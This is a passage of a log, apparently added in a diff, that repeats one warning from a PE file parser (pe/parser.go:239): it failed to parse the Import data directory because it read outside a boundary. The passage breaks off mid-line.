+time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 